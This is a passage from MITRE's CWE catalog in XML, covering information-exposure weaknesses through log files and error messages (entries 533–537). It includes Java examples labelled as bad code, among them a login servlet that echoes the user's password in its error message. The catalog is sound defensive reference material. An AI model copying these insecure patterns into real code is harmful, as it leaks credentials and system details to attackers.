					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Likelihood_of_Exploit, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through Log
						Files</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="533" Name="Information Exposure Through Server Log Files" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A server.log file was found. This can give information on
					whatever application left the file. Usually this can give full path names and
					system information, and sometimes usernames and passwords.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>532</Relationship_Target_ID>
					          <!--Information Exposure Through Log Files-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>552</Relationship_Target_ID>
					          <!--Files or Directories Accessible to External Parties-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
				  	        <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider seriously the sensitivity of the information written into log
							files. Do not write secrets into the log files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
				  	        <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect log files against unauthorized read/write.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not log sensitive information outside a trust
						boundary</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO13-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Server Log Files</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="534" Name="Information Exposure Through Debug Log Files" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The application does not sufficiently restrict access to a log
					file that is used for debugging.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>532</Relationship_Target_ID>
					          <!--Information Exposure Through Log Files-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>552</Relationship_Target_ID>
					          <!--Files or Directories Accessible to External Parties-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
				  	        <Mitigation_Phase>Distribution</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove debug log files before deploying the application into
							production.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Debug Log Files</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="535" Name="Information Exposure Through Shell Error Message" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A command shell error message indicates that there exists an
					unhandled exception in the web application code. In many cases, an attacker can
					leverage the conditions that cause these errors in order to gain unauthorized
					access to the system.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>210</Relationship_Target_ID>
					          <!--Information Exposure Through Generated Error Message-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Shell Error Message</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="536" Name="Information Exposure Through Servlet Runtime Error Message" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A servlet error message indicates that there exists an
					unhandled exception in your web application code and may provide useful
					information to an attacker.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>210</Relationship_Target_ID>
					          <!--Information Exposure Through Generated Error Message-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The error message may contain the location of the file in which the
							offending function is located. This may disclose the web root's absolute
							path as well as give the attacker the location of application files or
							configuration information. It may even disclose the portion of code that
							failed. In many cases, an attacker can use the data to launch further
							attacks against the system.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following servlet code does not catch runtime exceptions,
						meaning that if such an exception were to occur, the container may display
						potentially dangerous information (such as a full stack trace).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public void doPost(HttpServletRequest request, HttpServletResponse
								response) throws ServletException, IOException {</Code>
							              <Block>
								                <Code>String username = request.getParameter("username");</Code>
								                <Code/>
								                <Comment>// May cause unchecked NullPointerException.</Comment>
								                <Code>if (username.length() &lt; 10) {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Servlet Runtime Error Message</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="537" Name="Information Exposure Through Java Runtime Error Message" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>In many cases, an attacker can leverage the conditions that
					cause unhandled exception errors in order to gain unauthorized access to the
					system.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>210</Relationship_Target_ID>
					          <!--Information Exposure Through Generated Error Message-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not expose sensitive error information to the user.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example the class InputFileRead enables an
						input file to be read using a FileReader object. In the constructor of this
						class a default input file path is set to some directory on the local file
						system and the method setInputFile must be called to set the name of the
						input file to be read in the default directory. The method readInputFile
						will create the FileReader object and will read the contents of the file. If
						the method setInputFile is not called prior to calling the method
						readInputFile then the File object will remain null when initializing the
						FileReader object. A Java RuntimeException will be raised, and an error
						message will be output to the user.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class InputFileRead {</Code>
							              <Code/>
							              <Block>
								                <Code>private File readFile = null;</Code>
								                <Code>private FileReader reader = null;</Code>
								                <Code>private String inputFilePath = null;</Code>
								                <Code>private final String DEFAULT_FILE_PATH =
									"c:\\somedirectory\\";</Code>
								                <Code/>
								                <Code>public InputFileRead() {</Code>
								                <Block>
									                  <Code>inputFilePath = DEFAULT_FILE_PATH;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public void setInputFile(String inputFile) {</Code>
								                <Block>
									                  <Comment>/* Assume appropriate validation / encoding is used and
										privileges / permissions are preserved */</Comment>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public void readInputFile() {</Code>
								                <Block>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>reader = new FileReader(readFile);</Code>
										                    <Code>...</Code>
									                  </Block>
									                  <Code>} catch (RuntimeException rex) {</Code>
									                  <Block>
										                    <Code>System.err.println("Error: Cannot open input file in
											the directory " + inputFilePath);</Code>
										                    <Code>System.err.println("Input file has not been set, call
											setInputFile method before calling
											readInputFile");</Code>
									                  </Block>
									                  <Code/>
									                  <Code>} catch (FileNotFoundException ex) {...}</Code>
									                  <Code/>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the error message output to the user contains information
							regarding the default directory on the local file system. This
							information can be exploited and may lead to unauthorized access or use
							of the system. Any Java RuntimeExceptions that are handled should not
							expose sensitive information to the user.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the example below, the BankManagerLoginServlet servlet class will
						process a login request to determine if a user is authorized to use the
						BankManager Web service. The doPost method will retrieve the username and
						password from the servlet request and will determine if the user is
						authorized. If the user is authorized the servlet will go to the successful
						login page. Otherwise, the servlet will raise a FailedLoginException and
						output the failed login message to the error page of the
						service.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BankManagerLoginServlet extends HttpServlet { </Code>
							              <Block>
								                <Code>protected void doPost(HttpServletRequest request,
									HttpServletResponse response) throws ServletException,
									IOException { </Code>
								                <Block>
									                  <Code>try { </Code>
									                  <Block>
										                    <Comment>// Get username and password from login page
											request </Comment>
										                    <Code>String username = request.getParameter("username"); </Code>
										                    <Code>String password = request.getParameter("password"); </Code>
										                    <Comment>// Authenticate user</Comment>
										                    <Code>BankManager bankMgr = new BankManager(); </Code>
										                    <Code>boolean isAuthentic =
											bankMgr.authenticateUser(username, password); </Code>
										                    <Comment>// If user is authenticated then go to successful
											login page</Comment>
										                    <Code>if (isAuthentic) {</Code>
										                    <Block>
											                      <Code>request.setAttribute("login", new String("Login
												Successful."));</Code>
											                      <Code>getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp").
												forward(request, response); </Code>
										                    </Block>
										                    <Code>}</Code>
										                    <Code> else {</Code>
										                    <Block>
											                      <Comment>// Otherwise, raise failed login exception and
												output unsuccessful login message to error page </Comment>
											                      <Code>throw new FailedLoginException("Failed Login for
												user " + username + " with password " +
												password);</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>} catch (FailedLoginException ex) {</Code>
									                  <Block>
										                    <Comment>// output failed login message to error page </Comment>
										                    <Code> request.setAttribute("error", new String("Login
											Error"));</Code>
										                    <Code>request.setAttribute("message",
											ex.getMessage());</Code>
										                    <Code>getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request,
											response);</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
						            </Block>
						            <Text>However, the output message generated by the FailedLoginException
							includes the user-supplied password. Even if the password is erroneous,
							it is probably close to the correct password. Since it is printed to the
							user's page, anybody who can see the screen display will be able to see
							the password. Also, if the page is cached, the password might be written
							to disk. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
